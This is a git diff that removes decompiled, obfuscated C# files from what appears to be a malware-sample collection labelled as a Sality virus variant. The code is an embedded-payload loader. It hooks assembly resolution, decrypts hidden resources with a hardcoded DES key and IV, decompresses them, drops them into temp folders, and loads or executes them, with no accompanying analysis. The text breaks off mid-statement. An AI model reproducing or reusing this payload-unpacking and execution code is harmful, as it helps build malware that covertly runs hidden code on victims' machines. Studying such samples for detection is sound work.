AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u0003.\u0003); - if (!Assembly.GetExecutingAssembly().GlobalAssemblyCache || !\u0003.\u0003()) - return; - string str3 = \u0006.\u0003(149); - chArray1 = new char[1]{ ',' }; - char[] chArray2 = chArray1; - strArray = str3.Split(chArray2); - for (index = 0; index < strArray.Length - 1; index += 2) - { - try - { - s = strArray[index]; - str1 = Encoding.UTF8.GetString(Convert.FromBase64String(s)); - name = strArray[index + 1]; - if (name.Length > 0) - { - if (name[0] == '[') - { - num = name.IndexOf(']'); - str2 = name.Substring(1, num - 1); - name = name.Substring(num + 1); - flag = str2.IndexOf('z') >= 0; - if (str2.IndexOf('f') >= 0) - { - manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(name); - if (manifestResourceStream != null) - { - length = (int) manifestResourceStream.Length; - buffer = new byte[length]; - manifestResourceStream.Read(buffer, 0, length); - if (flag) - buffer = \u0006.\u0003(buffer); - try - { - path1 = string.Format(\u0006.\u0003(367), (object) Path.GetTempPath(), (object) name); - Directory.CreateDirectory(path1); - obj = new \u0003.\u0001(str1); - path2 = path1 + obj.\u0001 + \u0006.\u0003(380); - if (!File.Exists(path2)) - { - fileStream = File.OpenWrite(path2); - fileStream.Write(buffer, 0, buffer.Length); - fileStream.Close(); - } - \u0004.\u0003(path2); - try - { - File.Delete(path2); - Directory.Delete(path1); - } - catch - { - } - } - catch (Exception ex) - { - } - } - } - } - } - } - catch (Exception ex) - { - } - } - } - catch (Exception ex) - { - } - } - catch (Exception ex) - { - object[] objArray = new object[16] - { - (object) strArray, - (object) index, - (object) s, - (object) str1, - (object) name, - (object) num, - (object) str2, - (object) flag, - (object) manifestResourceStream, - (object) length, - (object) buffer, - (object) path1, - (object) obj, - (object) path2, - (object) fileStream, - (object) chArray1 - }; - throw UnhandledException.\u0003(ex, objArray); - } - } - - internal static Assembly \u0003([In] object obj0, [In] ResolveEventArgs obj1) - { - \u0003.\u0001 obj; - string s; - string base64String; - char[] chArray1; - string[] strArray; - string str1; - bool flag1; - bool flag2; - bool flag3; - int index1; - int index2; - int num; - string str2; - Hashtable hashtable1; - Assembly assembly1; - Stream manifestResourceStream; - int length; - byte[] numArray; - string path1; - string path2; - Assembly assembly2; - FileStream fileStream1; - Hashtable hashtable2; - Assembly assembly3; - string path3; - string path4; - FileStream fileStream2; - Hashtable hashtable3; - try - { - obj = new \u0003.\u0001(obj1.Name); - s = obj.\u0003(false); - base64String = Convert.ToBase64String(Encoding.UTF8.GetBytes(s)); - string str3 = \u0006.\u0003(149); - chArray1 = new char[1]{ ',' }; - char[] chArray2 = chArray1; - strArray = str3.Split(chArray2); - str1 = string.Empty; - flag1 = false; - flag2 = false; - flag3 = false; - for (index1 = 0; index1 < strArray.Length - 1; index1 += 2) - { - if (strArray[index1] == base64String) - { - str1 = strArray[index1 + 1]; - break; - } - } - if (str1.Length == 0 && obj.\u0003.Length == 0) - { - base64String = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0001)); - for (index2 = 0; index2 < strArray.Length - 1; index2 += 2) - { - if (strArray[index2] == base64String) - { - str1 = strArray[index2 + 1]; - break; - } - } - } - if (str1.Length > 0) - { - if (str1[0] == '[') - { - num = str1.IndexOf(']'); - str2 = str1.Substring(1, num - 1); - flag1 = str2.IndexOf('z') >= 0; - flag2 = str2.IndexOf('g') >= 0; - flag3 = str2.IndexOf('t') >= 0; - str1 = str1.Substring(num + 1); - } - Monitor.Enter((object) (hashtable1 = \u0003.\u0001)); - try - { - if (\u0003.\u0001.ContainsKey((object) str1)) - { - assembly1 = (Assembly) \u0003.\u0001[(object) str1]; - goto label_47; - } - } - finally - { - Monitor.Exit((object) hashtable1); - } - manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(str1); - if (manifestResourceStream != null) - { - length = (int) manifestResourceStream.Length; - numArray = new byte[length]; - manifestResourceStream.Read(numArray, 0, length); - if (flag1) - numArray = \u0006.\u0003(numArray); - if (flag2) - { - try - { - path1 = string.Format(\u0006.\u0003(367), (object) Path.GetTempPath(), (object) str1); - Directory.CreateDirectory(path1); - path2 = path1 + obj.\u0001 + \u0006.\u0003(380); - if (!File.Exists(path2)) - { - assembly2 = (Assembly) null; - fileStream1 = File.OpenWrite(path2); - fileStream1.Write(numArray, 0, numArray.Length); - fileStream1.Close(); - if (\u0004.\u0003(path2)) - assembly2 = Assembly.Load(obj.\u0003(true)); - File.Delete(path2); - Directory.Delete(path1); - if ((object) assembly2 != null) - { - Monitor.Enter((object) (hashtable2 = \u0003.\u0001)); - try - { - if (\u0003.\u0001.ContainsKey((object) str1)) - assembly2 = (Assembly) \u0003.\u0001[(object) str1]; - else - \u0003.\u0001.Add((object) str1, (object) assembly2); - } - finally - { - Monitor.Exit((object) hashtable2); - } - assembly1 = assembly2; - goto label_47; - } - } - } - catch - { - } - } - assembly3 = (Assembly) null; - if (!flag3) - { - try - { - assembly3 = Assembly.Load(numArray); - } - catch (FileLoadException ex) - { - flag3 = true; - } - catch (BadImageFormatException ex) - { - flag3 = true; - } - } - if (flag3) - { - try - { - path3 = string.Format(\u0006.\u0003(367), (object) Path.GetTempPath(), (object) str1); - Directory.CreateDirectory(path3); - path4 = path3 + obj.\u0001 + \u0006.\u0003(380); - if (!File.Exists(path4)) - { - fileStream2 = File.OpenWrite(path4); - fileStream2.Write(numArray, 0, numArray.Length); - fileStream2.Close(); - \u0003.\u0003(path4, (string) null, 4); - \u0003.\u0003(path3, (string) null, 4); - } - assembly3 = Assembly.LoadFile(path4); - } - catch - { - } - } - Monitor.Enter((object) (hashtable3 = \u0003.\u0001)); - try - { - \u0003.\u0001.Add((object) str1, (object) assembly3); - } - finally - { - Monitor.Exit((object) hashtable3); - } - return assembly3; - } - goto label_46; -label_47: - return assembly1; - } -label_46: - return (Assembly) null; - } - catch (Exception ex) - { - object[] objArray = new object[30] - { - (object) obj, - (object) s, - (object) base64String, - (object) strArray, - (object) str1, - (object) flag1, - (object) flag2, - (object) flag3, - (object) index1, - (object) index2, - (object) num, - (object) str2, - (object) manifestResourceStream, - (object) length, - (object) numArray, - (object) path1, - (object) path2, - (object) assembly2, - (object) fileStream1, - (object) assembly3, - (object) path3, - (object) path4, - (object) fileStream2, - (object) assembly1, - (object) chArray1, - (object) hashtable1, - (object) hashtable2, - (object) hashtable3, - obj0, - (object) obj1 - }; - throw UnhandledException.\u0003(ex, objArray); - } - } - - public \u0003() - { - try - { - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - static \u0003() - { - try - { - \u0003.\u0001 = new Hashtable(); - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex); - } - } - - internal struct \u0001 - { - public string \u0001; - public Version \u0001; - public string \u0002; - public string \u0003; - - public string \u0003([In] bool obj0) - { - StringBuilder stringBuilder1; - try - { - stringBuilder1 = new StringBuilder(); - stringBuilder1.Append(this.\u0001); - if (obj0) - { - stringBuilder1.Append(\u0006.\u0003(389)); - stringBuilder1.Append((object) this.\u0001); - } - stringBuilder1.Append(\u0006.\u0003(406)); - stringBuilder1.Append(this.\u0002.Length == 0 ? \u0006.\u0003(423) : this.\u0002); - stringBuilder1.Append(\u0006.\u0003(436)); - stringBuilder1.Append(this.\u0003.Length == 0 ? \u0006.\u0003(461) : this.\u0003); - return stringBuilder1.ToString(); - } - catch (Exception ex) - { - StringBuilder stringBuilder2 = stringBuilder1; - // ISSUE: variable of a boxed type - __Boxed<\u0003.\u0001> local1 = (ValueType) this; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj0; - throw UnhandledException.\u0003(ex, (object) stringBuilder2, (object) local1, (object) local2); - } - } - - public \u0001([In] string obj0) - { - char[] chArray1; - string[] strArray1; - int index; - string str1; - string str2; - try - { - this.\u0001 = new Version(); - this.\u0002 = string.Empty; - this.\u0003 = string.Empty; - this.\u0001 = string.Empty; - string str3 = obj0; - chArray1 = new char[1]{ ',' }; - char[] chArray2 = chArray1; - strArray1 = str3.Split(chArray2); - for (index = 0; index < strArray1.Length; ++index) - { - str1 = strArray1[index]; - str2 = str1.Trim(); - if (str2.StartsWith(\u0006.\u0003(470))) - this.\u0001 = new Version(str2.Substring(8)); - else if (str2.StartsWith(\u0006.\u0003(483))) - { - this.\u0002 = str2.Substring(8); - if (this.\u0002 == \u0006.\u0003(423)) - this.\u0002 = string.Empty; - } - else if (str2.StartsWith(\u0006.\u0003(496))) - { - this.\u0003 = str2.Substring(15); - if (this.\u0003 == \u0006.\u0003(461)) - this.\u0003 = string.Empty; - } - else - this.\u0001 = str2; - } - } - catch (Exception ex) - { - string str4 = str1; - string str5 = str2; - char[] chArray3 = chArray1; - string[] strArray2 = strArray1; - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) index; - // ISSUE: variable of a boxed type - __Boxed<\u0003.\u0001> local2 = (ValueType) this; - string str6 = obj0; - throw UnhandledException.\u0003(ex, (object) str4, (object) str5, (object) chArray3, (object) strArray2, (object) local1, (object) local2, (object) str6); - } - } - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/_0004.cs deleted file mode 100644 index fe450b1b..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/_0004.cs +++ /dev/null @@ -1,204 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0002; -using SmartAssembly.SmartExceptionsCore; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0002 -{ - internal sealed class \u0004 - { - [DllImport("fusion", EntryPoint = "CreateAssemblyCache", CharSet = CharSet.Auto)] - internal static extern int \u0003(out \u0004.\u0007 ppAsmCache, uint dwReserved); - - public static bool \u0003([In] string obj0) - { - \u0004.\u0007 ppAsmCache; - int num; - try - { - ppAsmCache = (\u0004.\u0007) null; - num = \u0004.\u0003(out ppAsmCache, 0U); - if (num != 0) - return false; - num = ppAsmCache.\u0002(0U, obj0, IntPtr.Zero); - return num == 0; - } - catch (Exception ex) - { - \u0004.\u0007 obj = ppAsmCache; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num; - string str = obj0; - throw UnhandledException.\u0003(ex, (object) obj, (object) local, (object) str); - } - } - - public \u0004() - { - try - { - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - public struct \u0001 - { - public int \u0001; - public int \u0002; - } - - public struct \u0002 - { - public \u0004.\u0001 \u0001; - public long \u0001; - public Guid \u0001; - public \u0004.\u0001 \u0002; - public int \u0001; - public int \u0002; - public int \u0003; - public \u0004.\u0001 \u0003; - public string \u0001; - public int \u0004; - public int \u0005; - } - - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("0000000c-0000-0000-C000-000000000046")] - [ComImport] - public interface \u0003 - { - void \u0001(IntPtr pv, uint cb, out uint pcbRead); - - void \u0002(IntPtr pv, uint cb, out uint pcbWritten); - - void \u0001(long dlibMove, uint dwOrigin, out ulong plibNewPosition); - - void \u0001(ulong libNewSize); - - void \u0001(\u0004.\u0003 pstm, ulong cb, out ulong pcbRead, out ulong pcbWritten); - - void \u0001(uint grfCommitFlags); - - void \u0001(); - - void \u0001(ulong libOffset, ulong cb, uint dwLockType); - - void \u0002(ulong libOffset, ulong cb, uint dwLockType); - - void \u0001(out \u0004.\u0002 pstatstg, uint grfStatFlag); - - void \u0001(out \u0004.\u0003 ppstm); - } - - [Guid("7c23ff90-33af-11d3-95da-00a024a85b51")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - internal interface \u0004 - { - void \u0001(\u0004.\u0005 pName); - - void \u0001(out \u0004.\u0005 ppName); - - void \u0001([MarshalAs(UnmanagedType.LPWStr)] string szName, int pvValue, uint cbValue, uint dwFlags); - - void \u0001([MarshalAs(UnmanagedType.LPWStr)] string szName, out int pvValue, ref uint pcbValue, uint dwFlags); - - void \u0001(out int wzDynamicDir, ref uint pdwSize); - } - - [Guid("CD193BC0-B4BC-11d2-9833-00C04FC31D2E")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - internal interface \u0005 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint PropertyId, IntPtr pvProperty, uint cbProperty); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint PropertyId, IntPtr pvProperty, ref uint pcbProperty); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(IntPtr szDisplayName, ref uint pccDisplayName, uint dwDisplayFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001( - object refIID, - object pAsmBindSink, - \u0004.\u0004 pApplicationContext, - [MarshalAs(UnmanagedType.LPWStr)] string szCodeBase, - long llFlags, - int pvReserved, - uint cbReserved, - out int ppv); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out uint lpcwBuffer, out int pwzName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out uint pdwVersionHi, out uint pdwVersionLow); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(\u0004.\u0005 pName, uint dwCmpFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out \u0004.\u0005 pName); - } - - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("9e3aaeb4-d1cd-11d2-bab9-00c04f8eceae")] - [ComImport] - internal interface \u0006 - { - void \u0001( - [MarshalAs(UnmanagedType.LPWStr)] string pszName, - uint dwFormat, - uint dwFlags, - uint dwMaxSize, - out \u0004.\u0003 ppStream); - - void \u0002(\u0004.\u0005 pName); - - void \u0001(uint dwFlags); - - void \u0002(uint dwFlags); - } - - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("e707dcde-d1cd-11d2-bab9-00c04f8eceae")] - [ComImport] - internal interface \u0007 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, IntPtr pvReserved, out uint pulDisposition); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, IntPtr pAsmInfo); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001( - uint dwFlags, - IntPtr pvReserved, - out \u0004.\u0006 ppAsmItem, - [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out object ppAsmScavenger); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0002(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszManifestFilePath, IntPtr pvReserved); - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/_0005.cs deleted file mode 100644 index 819030c2..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/_0005.cs +++ /dev/null @@ -1,44 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0002; -using SmartAssembly.SmartExceptionsCore; -using System; - -namespace \u0002 -{ - internal sealed class \u0005 - { - public static void \u0003() - { - try - { - try - { - \u0003.\u0003(); - } - catch (Exception ex) - { - } - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex); - } - } - - public \u0005() - { - try - { - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/_0006.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/_0006.cs deleted file mode 100644 index 02e2a88b..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/_0006.cs +++ /dev/null @@ -1,3797 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0002; -using SmartAssembly.SmartExceptionsCore; -using System; -using System.IO; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; - -namespace \u0002 -{ - internal sealed class \u0006 - { - public static string \u0001; - - public static byte[] \u0003([In] byte[] obj0) - { - byte[] numArray1; - \u0006.\u000F obj1; - int num1; - short num2; - int num3; - int num4; - int length1; - int count1; - int count2; - byte[] buffer1; - byte[] buffer2; - byte[] buffer3; - \u0006.\u0001 obj2; - int num5; - int length2; - int num6; - int length3; - int num7; - byte[] buffer4; - \u0006.\u0001 obj3; - DESCryptoServiceProvider cryptoServiceProvider; - ICryptoTransform decryptor; - byte[] numArray2; - try - { - obj1 = new \u0006.\u000F(obj0); - numArray1 = new byte[0]; - num1 = obj1.\u0004(); - if (num1 == 67324752) - { - num2 = (short) obj1.\u0003(); - num3 = obj1.\u0003(); - num4 = obj1.\u0003(); - if (num1 != 67324752 || num2 != (short) 20 || num3 != 0 || num4 != 8) - throw new FormatException("Wrong Header Signature"); - obj1.\u0004(); - obj1.\u0004(); - obj1.\u0004(); - length1 = obj1.\u0004(); - count1 = obj1.\u0003(); - count2 = obj1.\u0003(); - if (count1 > 0) - { - buffer1 = new byte[count1]; - obj1.Read(buffer1, 0, count1); - } - if (count2 > 0) - { - buffer2 = new byte[count2]; - obj1.Read(buffer2, 0, count2); - } - buffer3 = new byte[obj1.Length - obj1.Position]; - obj1.Read(buffer3, 0, buffer3.Length); - obj2 = new \u0006.\u0001(buffer3); - numArray1 = new byte[length1]; - obj2.\u0003(numArray1, 0, numArray1.Length); - buffer3 = (byte[]) null; - } - else - { - num5 = num1 >> 24; - num1 -= num5 << 24; - if (num1 != 8223355) - throw new FormatException("Unknown Header"); - if (num5 == 1) - { - length2 = obj1.\u0004(); - numArray1 = new byte[length2]; - for (num6 = 0; num6 < length2; num6 += num7) - { - length3 = obj1.\u0004(); - num7 = obj1.\u0004(); - buffer4 = new byte[length3]; - obj1.Read(buffer4, 0, buffer4.Length); - obj3 = new \u0006.\u0001(buffer4); - obj3.\u0003(numArray1, num6, num7); - } - } - if (num5 == 2) - { - cryptoServiceProvider = new DESCryptoServiceProvider(); - cryptoServiceProvider.Key = new byte[8] - { - (byte) 224, - (byte) 51, - (byte) 101, - (byte) 186, - (byte) 205, - (byte) 13, - (byte) 94, - (byte) 179 - }; - cryptoServiceProvider.IV = new byte[8] - { - (byte) 248, - (byte) 169, - (byte) 177, - (byte) 67, - (byte) 239, - (byte) 183, - (byte) 152, - (byte) 172 - }; - decryptor = cryptoServiceProvider.CreateDecryptor(); - numArray2 = decryptor.TransformFinalBlock(obj0, 4, obj0.Length - 4); - cryptoServiceProvider.Clear(); - numArray1 = \u0006.\u0003(numArray2); - } - } - obj1.Close(); - return numArray1; - } - catch (Exception ex) - { - object[] objArray = new object[24] - { - (object) obj1, - (object) numArray1, - (object) num1, - (object) num2, - (object) num3, - (object) num4, - (object) length1, - (object) count1, - (object) count2, - (object) buffer1, - (object) buffer2, - (object) buffer3, - (object) obj2, - (object) num5, - (object) length2, - (object) num6, - (object) length3, - (object) num7, - (object) obj3, - (object) buffer4, - (object) cryptoServiceProvider, - (object) decryptor, - (object) numArray2, - (object) obj0 - }; - throw UnhandledException.\u0003(ex, objArray); - } - } - - public static byte[] \u0004([In] byte[] obj0) - { - try - { - return \u0006.\u0003(obj0, 1, (byte[]) null, (byte[]) null); - } - catch (Exception ex) - { - byte[] numArray = obj0; - throw UnhandledException.\u0003(ex, (object) numArray); - } - } - - public static byte[] \u0003([In] byte[] obj0, [In] int obj1, [In] byte[] obj2, [In] byte[] obj3) - { - \u0006.\u0006 obj4; - DateTime now; - long num1; - uint[] numArray1; - uint maxValue; - uint num2; - int num3; - int length; - \u0006.\u000F obj5; - long position1; - byte[] bytes; - byte[] buffer1; - int count1; - byte[] buffer2; - int count2; - long num4; - int srcOffset; - byte[] dst; - long position2; - \u0006.\u0006 obj6; - byte[] buffer3; - int count3; - byte[] buffer4; - int count4; - long position3; - byte[] inputBuffer; - DESCryptoServiceProvider cryptoServiceProvider; - ICryptoTransform encryptor; - byte[] buffer5; - try - { - byte[] numArray2; - try - { - obj5 = new \u0006.\u000F(); - if (obj1 == 0) - { - obj4 = new \u0006.\u0006(); - now = DateTime.Now; - num1 = (long) ((uint) ((now.Year - 1980 & (int) sbyte.MaxValue) << 25 | now.Month << 21 | now.Day << 16 | now.Hour << 11 | now.Minute << 5) | (uint) now.Second >> 1); - numArray1 = new uint[256] - { - 0U, - 1996959894U, - 3993919788U, - 2567524794U, - 124634137U, - 1886057615U, - 3915621685U, - 2657392035U, - 249268274U, - 2044508324U, - 3772115230U, - 2547177864U, - 162941995U, - 2125561021U, - 3887607047U, - 2428444049U, - 498536548U, - 1789927666U, - 4089016648U, - 2227061214U, - 450548861U, - 1843258603U, - 4107580753U, - 2211677639U, - 325883990U, - 1684777152U, - 4251122042U, - 2321926636U, - 335633487U, - 1661365465U, - 4195302755U, - 2366115317U, - 997073096U, - 1281953886U, - 3579855332U, - 2724688242U, - 1006888145U, - 1258607687U, - 3524101629U, - 2768942443U, - 901097722U, - 1119000684U, - 3686517206U, - 2898065728U, - 853044451U, - 1172266101U, - 3705015759U, - 2882616665U, - 651767980U, - 1373503546U, - 3369554304U, - 3218104598U, - 565507253U, - 1454621731U, - 3485111705U, - 3099436303U, - 671266974U, - 1594198024U, - 3322730930U, - 2970347812U, - 795835527U, - 1483230225U, - 3244367275U, - 3060149565U, - 1994146192U, - 31158534U, - 2563907772U, - 4023717930U, - 1907459465U, - 112637215U, - 2680153253U, - 3904427059U, - 2013776290U, - 251722036U, - 2517215374U, - 3775830040U, - 2137656763U, - 141376813U, - 2439277719U, - 3865271297U, - 1802195444U, - 476864866U, - 2238001368U, - 4066508878U, - 1812370925U, - 453092731U, - 2181625025U, - 4111451223U, - 1706088902U, - 314042704U, - 2344532202U, - 4240017532U, - 1658658271U, - 366619977U, - 2362670323U, - 4224994405U, - 1303535960U, - 984961486U, - 2747007092U, - 3569037538U, - 1256170817U, - 1037604311U, - 2765210733U, - 3554079995U, - 1131014506U, - 879679996U, - 2909243462U, - 3663771856U, - 1141124467U, - 855842277U, - 2852801631U, - 3708648649U, - 1342533948U, - 654459306U, - 3188396048U, - 3373015174U, - 1466479909U, - 544179635U, - 3110523913U, - 3462522015U, - 1591671054U, - 702138776U, - 2966460450U, - 3352799412U, - 1504918807U, - 783551873U, - 3082640443U, - 3233442989U, - 3988292384U, - 2596254646U, - 62317068U, - 1957810842U, - 3939845945U, - 2647816111U, - 81470997U, - 1943803523U, - 3814918930U, - 2489596804U, - 225274430U, - 2053790376U, - 3826175755U, - 2466906013U, - 167816743U, - 2097651377U, - 4027552580U, - 2265490386U, - 503444072U, - 1762050814U, - 4150417245U, - 2154129355U, - 426522225U, - 1852507879U, - 4275313526U, - 2312317920U, - 282753626U, - 1742555852U, - 4189708143U, - 2394877945U, - 397917763U, - 1622183637U, - 3604390888U, - 2714866558U, - 953729732U, - 1340076626U, - 3518719985U, - 2797360999U, - 1068828381U, - 1219638859U, - 3624741850U, - 2936675148U, - 906185462U, - 1090812512U, - 3747672003U, - 2825379669U, - 829329135U, - 1181335161U, - 3412177804U, - 3160834842U, - 628085408U, - 1382605366U, - 3423369109U, - 3138078467U, - 570562233U, - 1426400815U, - 3317316542U, - 2998733608U, - 733239954U, - 1555261956U, - 3268935591U, - 3050360625U, - 752459403U, - 1541320221U, - 2607071920U, - 3965973030U, - 1969922972U, - 40735498U, - 2617837225U, - 3943577151U, - 1913087877U, - 83908371U, - 2512341634U, - 3803740692U, - 2075208622U, - 213261112U, - 2463272603U, - 3855990285U, - 2094854071U, - 198958881U, - 2262029012U, - 4057260610U, - 1759359992U, - 534414190U, - 2176718541U, - 4139329115U, - 1873836001U, - 414664567U, - 2282248934U, - 4279200368U, - 1711684554U, - 285281116U, - 2405801727U, - 4167216745U, - 1634467795U, - 376229701U, - 2685067896U, - 3608007406U, - 1308918612U, - 956543938U, - 2808555105U, - 3495958263U, - 1231636301U, - 1047427035U, - 2932959818U, - 3654703836U, - 1088359270U, - 936918000U, - 2847714899U, - 3736837829U, - 1202900863U, - 817233897U, - 3183342108U, - 3401237130U, - 1404277552U, - 615818150U, - 3134207493U, - 3453421203U, - 1423857449U, - 601450431U, - 3009837614U, - 3294710456U, - 1567103746U, - 711928724U, - 3020668471U, - 3272380065U, - 1510334235U, - 755167117U - }; - maxValue = uint.MaxValue; - num2 = maxValue; - num3 = 0; - length = obj0.Length; - while (--length >= 0) - num2 = numArray1[(IntPtr) (uint) (((int) num2 ^ (int) obj0[num3++]) & (int) byte.MaxValue)] ^ num2 >> 8; - num2 ^= maxValue; - obj5.\u0004(67324752); - obj5.\u0003(20); - obj5.\u0003(0); - obj5.\u0003(8); - obj5.\u0004((int) num1); - obj5.\u0004((int) num2); - position1 = obj5.Position; - obj5.\u0004(0); - obj5.\u0004(obj0.Length); - bytes = Encoding.UTF8.GetBytes("{data}"); - obj5.\u0003(bytes.Length); - obj5.\u0003(0); - obj5.Write(bytes, 0, bytes.Length); - obj4.\u0003(obj0); - while (!obj4.\u0004()) - { - buffer1 = new byte[512]; - count1 = obj4.\u0003(buffer1); - if (count1 > 0) - obj5.Write(buffer1, 0, count1); - else - break; - } - obj4.\u0003(); - while (!obj4.\u0003()) - { - buffer2 = new byte[512]; - count2 = obj4.\u0003(buffer2); - if (count2 > 0) - obj5.Write(buffer2, 0, count2); - else - break; - } - num4 = obj4.\u0003(); - obj5.\u0004(33639248); - obj5.\u0003(20); - obj5.\u0003(20); - obj5.\u0003(0); - obj5.\u0003(8); - obj5.\u0004((int) num1); - obj5.\u0004((int) num2); - obj5.\u0004((int) num4); - obj5.\u0004(obj0.Length); - obj5.\u0003(bytes.Length); - obj5.\u0003(0); - obj5.\u0003(0); - obj5.\u0003(0); - obj5.\u0003(0); - obj5.\u0004(0); - obj5.\u0004(0); - obj5.Write(bytes, 0, bytes.Length); - obj5.\u0004(101010256); - obj5.\u0003(0); - obj5.\u0003(0); - obj5.\u0003(1); - obj5.\u0003(1); - obj5.\u0004(46 + bytes.Length); - obj5.\u0004((int) ((long) (30 + bytes.Length) + num4)); - obj5.\u0003(0); - obj5.Seek(position1, SeekOrigin.Begin); - obj5.\u0004((int) num4); - } - else - { - if (obj1 == 1) - { - obj5.\u0004(25000571); - obj5.\u0004(obj0.Length); - for (srcOffset = 0; srcOffset < obj0.Length; srcOffset += dst.Length) - { - dst = new byte[Math.Min(2097151, obj0.Length - srcOffset)]; - Buffer.BlockCopy((Array) obj0, srcOffset, (Array) dst, 0, dst.Length); - position2 = obj5.Position; - obj5.\u0004(0); - obj5.\u0004(dst.Length); - obj6 = new \u0006.\u0006(); - obj6.\u0003(dst); - while (!obj6.\u0004()) - { - buffer3 = new byte[512]; - count3 = obj6.\u0003(buffer3); - if (count3 > 0) - obj5.Write(buffer3, 0, count3); - else - break; - } - obj6.\u0003(); - while (!obj6.\u0003()) - { - buffer4 = new byte[512]; - count4 = obj6.\u0003(buffer4); - if (count4 > 0) - obj5.Write(buffer4, 0, count4); - else - break; - } - position3 = obj5.Position; - obj5.Position = position2; - obj5.\u0004((int) obj6.\u0003()); - obj5.Position = position3; - } - } - if (obj1 == 2) - { - obj5.\u0004(41777787); - inputBuffer = \u0006.\u0003(obj0, 1, (byte[]) null, (byte[]) null); - cryptoServiceProvider = new DESCryptoServiceProvider(); - cryptoServiceProvider.Key = obj2; - cryptoServiceProvider.IV = obj3; - encryptor = 